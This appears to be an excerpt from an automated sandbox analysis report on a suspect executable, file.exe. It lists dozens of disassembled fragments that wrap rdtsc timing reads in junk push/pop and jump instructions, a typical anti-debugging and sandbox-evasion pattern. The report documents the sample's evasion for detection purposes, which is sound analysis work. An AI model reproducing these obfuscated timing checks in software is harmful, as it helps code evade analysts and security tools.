Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4AE1 second address: CF4AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4AE5 second address: CF4AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB97CFF015Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4C2F second address: CF4C51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9228h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4ED9 second address: CF4F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF0165h 0x00000009 popad 0x0000000a jnp 00007FB97CFF016Fh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB97CFF0169h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4F2E second address: CF4F48 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB97CFE9216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB97CFE921Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4F48 second address: CF4F56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FB97CFF0156h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5259 second address: CF5275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FB97CFE921Dh 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FB97CFE9216h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5275 second address: CF5291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB97CFF0166h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF56B2 second address: CF56BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF56BB second address: CF56BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF56BF second address: CF56ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007FB97CFE9216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB97CFE9221h 0x00000011 popad 0x00000012 pushad 0x00000013 jbe 00007FB97CFE921Ch 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3F7B second address: CF3F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67F97 second address: C67F9C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB39F second address: CFB3E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnp 00007FB97CFF0156h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c jo 00007FB97CFF0158h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 jmp 00007FB97CFF0168h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB97CFF0160h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB82A second address: CFB856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FB97CFE921Ah 0x0000000f push edi 0x00000010 pop edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007FB97CFE9226h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB856 second address: CFB864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF015Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB864 second address: CFB86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB86C second address: CFB870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBB7F second address: CFBB92 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB97CFE9216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007FB97CFE9216h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBD26 second address: CFBD2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBEB4 second address: CFBEB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC1DD second address: CFC1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC1E3 second address: CFC1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC1E9 second address: CFC1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB97CFF015Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00BC3 second address: D00BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB97CFE9216h 0x0000000a pop ebx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C699A8 second address: C699B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB97CFF0156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE3F6 second address: CBE42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jbe 00007FB97CFE9216h 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push edi 0x00000012 pushad 0x00000013 and di, AE8Ah 0x00000018 mov edx, dword ptr [ebp+122D2846h] 0x0000001e popad 0x0000001f pop edx 0x00000020 lea eax, dword ptr [ebp+124901A2h] 0x00000026 mov dx, 6199h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jg 00007FB97CFE9216h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE42B second address: CBE431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE431 second address: CBE437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE437 second address: C98473 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FB97CFF0158h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 pushad 0x00000026 mov ebx, edi 0x00000028 mov si, di 0x0000002b popad 0x0000002c call dword ptr [ebp+122D26B1h] 0x00000032 push eax 0x00000033 push edx 0x00000034 push edi 0x00000035 jo 00007FB97CFF0156h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE62B second address: CBE631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE631 second address: CBE636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE636 second address: CBE64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jnl 00007FB97CFE9216h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA21 second address: CBEA2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB97CFF0156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA2B second address: CBEA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA3A second address: CBEA40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEB28 second address: CBEB2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEB2C second address: CBEB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE17 second address: CBEE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE1B second address: CBEE22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE22 second address: CBEE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB97CFE9227h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF6A0 second address: CBF6A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF6A8 second address: CBF6D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007FB97CFE9224h 0x0000000e jmp 00007FB97CFE921Eh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 jbe 00007FB97CFE921Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF6D1 second address: CBF71B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FB97CFF0160h 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push esi 0x00000011 jmp 00007FB97CFF0164h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e jmp 00007FB97CFF0161h 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF7A0 second address: CBF82F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D2690h] 0x00000011 lea eax, dword ptr [ebp+124901E6h] 0x00000017 jmp 00007FB97CFE9220h 0x0000001c nop 0x0000001d pushad 0x0000001e jo 00007FB97CFE921Ch 0x00000024 jl 00007FB97CFE9216h 0x0000002a push edx 0x0000002b jmp 00007FB97CFE9220h 0x00000030 pop edx 0x00000031 popad 0x00000032 push eax 0x00000033 push esi 0x00000034 jp 00007FB97CFE921Ch 0x0000003a jbe 00007FB97CFE9216h 0x00000040 pop esi 0x00000041 nop 0x00000042 sub ch, 00000071h 0x00000045 lea eax, dword ptr [ebp+124901A2h] 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007FB97CFE9218h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 00000016h 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 sub edx, 0C29EA6Dh 0x0000006b nop 0x0000006c jnc 00007FB97CFE9220h 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF82F second address: CBF841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FB97CFF0158h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFECB second address: CFFED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFED1 second address: CFFEDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FB97CFF0156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFEDD second address: CFFEEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB97CFE921Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFEEE second address: CFFF21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB97CFF015Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FB97CFF015Ah 0x0000001c jmp 00007FB97CFF015Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFF21 second address: CFFF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D001BF second address: D001E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF0166h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D001E0 second address: D001E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D001E4 second address: D001FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0167h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0063E second address: D0064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 jl 00007FB97CFE921Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0078A second address: D007A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007FB97CFF015Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D007A1 second address: D007A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02BE1 second address: D02BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02BE7 second address: D02BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02BEC second address: D02C0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FB97CFF0173h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0485E second address: D04862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04862 second address: D04871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB97CFF0156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04871 second address: D04876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04876 second address: D0487C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0487C second address: D04880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04880 second address: D048A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FB97CFF0156h 0x0000000e jmp 00007FB97CFF0168h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D048A6 second address: D048B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jno 00007FB97CFE9216h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707A9 second address: C707B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707B4 second address: C707B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707B8 second address: C707BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707BC second address: C707D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FB97CFE921Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707D0 second address: C707FF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB97CFF015Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB97CFF015Ch 0x0000000f jmp 00007FB97CFF0161h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07999 second address: D079A6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB97CFE9216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D079A6 second address: D079B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB97CFF0156h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D079B5 second address: D079B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D079B9 second address: D079E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FB97CFF0156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FB97CFF0163h 0x00000013 jbe 00007FB97CFF0167h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D071C9 second address: D071CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D071CD second address: D071D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D071D1 second address: D071D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D071D7 second address: D071DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D071DD second address: D071EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE921Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D071EE second address: D07231 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB97CFF0156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FB97CFF017Dh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edx 0x00000014 ja 00007FB97CFF0156h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07231 second address: D0723E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FB97CFE9216h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0723E second address: D0725B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FB97CFF0156h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D073EF second address: D073F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D073F4 second address: D0740E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF015Bh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FB97CFF0156h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D090A8 second address: D090BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 jne 00007FB97CFE9216h 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D090BC second address: D090C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB97CFF0156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D090C6 second address: D090CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D104FD second address: D10501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
